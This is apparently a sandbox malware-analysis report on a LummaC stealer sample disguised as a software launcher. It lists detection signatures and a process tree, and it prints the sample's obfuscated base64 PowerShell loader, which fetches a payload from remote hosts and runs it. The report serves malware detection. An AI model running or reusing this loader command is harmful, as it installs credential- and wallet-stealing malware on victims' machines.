Windows
Analysis Report
IMSoftware{Launcher}3.21.exe
Overview
General Information
Detection
LummaC Stealer
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Yara detected Powershell download and execute
.NET source code references suspicious native API functions
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to dynamically determine API calls
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
IMSoftware{Launcher}3.21.exe (PID: 7040 cmdline:
"C:\Users\ user\Deskt op\IMSoftw are{Launch er}3.21.ex e" MD5: EA61922DAE2D227F2A8541D653801603) cmd.exe (PID: 7136 cmdline:
cmd.exe /c 67f525209 658e.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 6996 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 2920 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\IX P000.TMP\6 7f52520965 8e.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 1432 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$dosigo = 'WwBO@GU@ d@@u@FM@ZQ By@HY@aQBj @GU@U@Bv@G k@bgB0@E0@ YQBu@GE@Zw Bl@HI@XQ@6 @Do@UwBl@G M@dQBy@Gk@ d@B5@F@@cg Bv@HQ@bwBj @G8@b@@g@D 0@I@Bb@E4@ ZQB0@C4@Uw Bl@GM@dQBy @Gk@d@B5@F @@cgBv@HQ@ bwBj@G8@b@ BU@Hk@c@Bl @F0@Og@6@F Q@b@Bz@DE@ Mg@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ ZgB1@G4@Yw B0@Gk@bwBu @C@@R@Bv@H c@bgBs@G8@ YQBk@EQ@YQ B0@GE@RgBy @G8@bQBM@G k@bgBr@HM@ I@B7@C@@c@ Bh@HI@YQBt @C@@K@Bb@H M@d@By@Gk@ bgBn@Fs@XQ Bd@CQ@b@Bp @G4@awBz@C k@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@B3@GU@ YgBD@Gw@aQ Bl@G4@d@@g @D0@I@BO@G U@dw@t@E8@ YgBq@GU@Yw B0@C@@UwB5 @HM@d@Bl@G 0@LgBO@GU@ d@@u@Fc@ZQ Bi@EM@b@Bp @GU@bgB0@D s@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bz@Gg@ dQBm@GY@b@ Bl@GQ@T@Bp @G4@awBz@C @@PQ@g@Ec@ ZQB0@C0@Ug Bh@G4@Z@Bv @G0@I@@t@E k@bgBw@HU@ d@BP@GI@ag Bl@GM@d@@g @CQ@b@Bp@G 4@awBz@C@@ LQBD@G8@dQ Bu@HQ@I@@k @Gw@aQBu@G s@cw@u@Ew@ ZQBu@Gc@d@ Bo@Ds@I@@N @@o@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@ZgBv @HI@ZQBh@G M@a@@g@Cg@ J@Bs@Gk@bg Br@C@@aQBu @C@@J@Bz@G g@dQBm@GY@ b@Bl@GQ@T@ Bp@G4@awBz @Ck@I@B7@C @@d@By@Hk@ I@B7@C@@cg Bl@HQ@dQBy @G4@I@@k@H c@ZQBi@EM@ b@Bp@GU@bg B0@C4@R@Bv @Hc@bgBs@G 8@YQBk@EQ@ YQB0@GE@K@ @k@Gw@aQBu @Gs@KQ@g@H 0@I@Bj@GE@ d@Bj@Gg@I@ B7@C@@YwBv @G4@d@Bp@G 4@dQBl@C@@ fQ@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ By@GU@d@B1 @HI@bg@g@C Q@bgB1@Gw@ b@@g@H0@Ow @g@@0@Cg@k @EI@eQB0@G U@cw@g@D0@ I@@n@Gg@d@ B0@Cc@Ow@N @@o@J@BC@H k@d@Bl@HM@ Mg@g@D0@I@ @n@H@@cw@6 @C8@Lw@n@D s@DQ@K@CQ@ b@Bm@HM@Z@ Bm@HM@Z@Bn @C@@PQ@g@C @@J@BC@Hk@ d@Bl@HM@I@ @r@CQ@QgB5 @HQ@ZQBz@D I@Ow@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bs@Gk@ bgBr@HM@I@ @9@C@@Q@@o @Cg@J@Bs@G Y@cwBk@GY@ cwBk@Gc@I@ @r@C@@JwBi @Gk@d@Bi@H U@YwBr@GU@ d@@u@G8@cg Bn@C8@ZgBz @GQ@ZgBz@G Q@ZgBz@C8@ ZgBz@GQ@Zg Bk@HM@ZgBz @GQ@ZgBz@G Q@Zg@v@GQ@ bwB3@G4@b@ Bv@GE@Z@Bz @C8@d@Bl@H M@d@@y@C4@ agBw@Gc@Pw @x@DM@Nw@x @DE@Mw@n@C k@L@@g@Cg@ J@Bs@GY@cw Bk@GY@cwBk @Gc@I@@r@C @@JwBv@GY@ aQBj@GU@Mw @2@DU@LgBn @Gk@d@Bo@H U@Yg@u@Gk@ bw@v@DE@Lw B0@GU@cwB0 @C4@agBw@G c@Jw@p@Ck@ Ow@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ I@@k@Gk@bQ Bh@Gc@ZQBC @Hk@d@Bl@H M@I@@9@C@@ R@Bv@Hc@bg Bs@G8@YQBk @EQ@YQB0@G E@RgBy@G8@ bQBM@Gk@bg Br@HM@I@@k @Gw@aQBu@G s@cw@7@@0@ Cg@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@Gk@ Zg@g@Cg@J@ Bp@G0@YQBn @GU@QgB5@H Q@ZQBz@C@@ LQBu@GU@I@ @k@G4@dQBs @Gw@KQ@g@H s@I@@k@Gk@ bQBh@Gc@ZQ BU@GU@e@B0 @C@@PQ@g@F s@UwB5@HM@ d@Bl@G0@Lg BU@GU@e@B0 @C4@RQBu@G M@bwBk@Gk@ bgBn@F0@Og @6@FU@V@BG @Dg@LgBH@G U@d@BT@HQ@ cgBp@G4@Zw @o@CQ@aQBt @GE@ZwBl@E I@eQB0@GU@ cw@p@Ds@DQ @K@C@@I@@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@J@ Bz@HQ@YQBy @HQ@RgBs@G E@Zw@g@D0@ I@@n@Dw@P@ BC@EE@UwBF @DY@N@Bf@F M@V@BB@FI@ V@@+@D4@Jw @7@C@@J@Bl @G4@Z@BG@G w@YQBn@C@@ PQ@g@Cc@P@